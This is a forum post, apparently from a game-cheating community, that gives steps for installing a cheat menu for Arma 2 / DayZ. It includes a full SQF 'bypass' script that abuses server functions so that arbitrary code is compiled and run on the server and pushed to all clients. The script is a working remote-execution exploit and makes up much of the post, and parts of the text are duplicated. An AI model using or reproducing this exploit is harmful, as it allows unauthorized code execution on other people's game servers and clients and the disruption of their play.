How to Set-up InfiSTAR Wasteland/Dayz Menu Edit (and other dayz menus like it.....)
*I know there are other guides on how to do this but I thought I might as well do one for the people who keep asking
*
This is just going to be a step by step guide
(have interface size set to small)
1) download the menu below and extract it to you desktop!
2) Drag the folder called "infiSTAR_Confin3d_edit" in to you Arma 2 folder!

Directory for steam: C:\Program Files (x86)\Steam\SteamApps\common\Arma 2 Operation Arrowhead
3) If using VA change the Bypass to "45=infiSTAR_Confin3d_edit\startup.sqf"
4) Go into exce.sqf in the infiSTAR_Confin3d_edit then go into properties and uncheck the read only box and insert a working RE
5) Launch Bypass before joining game and when in game hit "insert" to launch menu
If there is anything i missed please PM me and ill fix it
Thanks/credits
@infiSTAR
@hangender
@kylebeall
@AlpMaker
@Confin3d
Please approve:
@NormenJaydenFBI
@Flengo
Virus scans for Menu
infiSTAR_Confin3d_edit.rar - Jotti's malware scan
https://www.virustotal.com/en/file/3...9721/analysis/
Virus scans for capture (didnt know how to delete......)
https://www.virustotal.com/en/file/5...is/1368607219/
Capture.PNG - Jotti's malware scan
*This is just going to be a step by step guide
(have interface size set to small)1) download the menu below and extract it to you desktop!
2) Drag the folder called "infiSTAR_Confin3d_edit" in to you Arma 2 folder!

Directory for steam: C:\Program Files (x86)\Steam\SteamApps\common\Arma 2 Operation Arrowhead
3) If using VA change the Bypass to "45=infiSTAR_Confin3d_edit\startup.sqf"
4) Go into exce.sqf in the infiSTAR_Confin3d_edit then go into properties and uncheck the read only box and insert a working RE
This Bypass was working for me last night
if (isNil "initre337") then
{
createTeam ["bleh", "object_setFixServer =
{
if (isServer && ((_this select 2) == 0)) then
{
_code = markerText 'respawn_west';
call compile _code;
remExField = [nil,nil,(';'+_code+';')];
publicVariable 'remExField';
} else {_this call compile preprocessFileLineNumbers '\z\addons\dayz_code\compile\object_setfixserver.s qf';};
}; if (isServer) then {initre337 = true; publicVariable 'initre337';};"];
_g_Unit = createGroup east;
_sheep1 = _g_Unit createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
_sheep1 addMPEventHandler ["mpkilled", "{bleh = teamName _x} count teams;"];
_sheep1 setDamage 1.01;
hint "MP Unit 1 Killed!";
waitUntil {!isNil "bleh"};
sleep 1;
dayzLogin = [{onEachFrame bleh}];
publicVariableServer "dayzLogin";
_sheep2 = _g_Unit createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
_sheep2 addMPEventHandler ["mpkilled", "{isNil _x} count dayzLogin; bleh2 = true;"];
_sheep2 setDamage 1.01;
hint "MP Unit 2 Killed!";
waitUntil {!isNil "bleh2"};
sleep 1;
dayzLogin2 = [{onEachFrame ""}];
publicVariableServer "dayzLogin2";
_sheep3 = _g_Unit createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
_sheep3 addMPEventHandler ["mpkilled", "{isNil _x} count dayzLogin2; bleh3 = true;"];
_sheep3 setDamage 1.01;
hint "MP Unit 3 Killed!";
waitUntil {!isNil "bleh3"};
sleep 1;
hint "Init RE";
};
"respawn_west" setMarkerText ";"+(_this select 0)+";";
dayzSetFix = [0,0,0,player,0];
publicVariableServer "dayzSetFix";
_temp = player;
player = "jizz";
sleep 1;
player = _temp;
if (isNil "initre337") then
{
createTeam ["bleh", "object_setFixServer =
{
if (isServer && ((_this select 2) == 0)) then
{
_code = markerText 'respawn_west';
call compile _code;
remExField = [nil,nil,(';'+_code+';')];
publicVariable 'remExField';
} else {_this call compile preprocessFileLineNumbers '\z\addons\dayz_code\compile\object_setfixserver.s qf';};
}; if (isServer) then {initre337 = true; publicVariable 'initre337';};"];
_g_Unit = createGroup east;
_sheep1 = _g_Unit createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
_sheep1 addMPEventHandler ["mpkilled", "{bleh = teamName _x} count teams;"];
_sheep1 setDamage 1.01;
hint "MP Unit 1 Killed!";
waitUntil {!isNil "bleh"};
sleep 1;
dayzLogin = [{onEachFrame bleh}];
publicVariableServer "dayzLogin";
_sheep2 = _g_Unit createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
_sheep2 addMPEventHandler ["mpkilled", "{isNil _x} count dayzLogin; bleh2 = true;"];
_sheep2 setDamage 1.01;
hint "MP Unit 2 Killed!";
waitUntil {!isNil "bleh2"};
sleep 1;
dayzLogin2 = [{onEachFrame ""}];
publicVariableServer "dayzLogin2";
_sheep3 = _g_Unit createUnit ["Sheep", [3000,3000,0], [], 0, "FORM"];
_sheep3 addMPEventHandler ["mpkilled", "{isNil _x} count dayzLogin2; bleh3 = true;"];
_sheep3 setDamage 1.01;
hint "MP Unit 3 Killed!";
waitUntil {!isNil "bleh3"};
sleep 1;
hint "Init RE";
};
"respawn_west" setMarkerText ";"+(_this select 0)+";";
dayzSetFix = [0,0,0,player,0];
publicVariableServer "dayzSetFix";
_temp = player;
player = "jizz";
sleep 1;
player = _temp;
If there is anything i missed please PM me and ill fix it

Thanks/credits
@infiSTAR
@hangender
@kylebeall
@AlpMaker
@Confin3d
Please approve:
@NormenJaydenFBI
@Flengo
Virus scans for Menu
infiSTAR_Confin3d_edit.rar - Jotti's malware scan
https://www.virustotal.com/en/file/3...9721/analysis/
Virus scans for capture (didnt know how to delete......)
https://www.virustotal.com/en/file/5...is/1368607219/
Capture.PNG - Jotti's malware scan
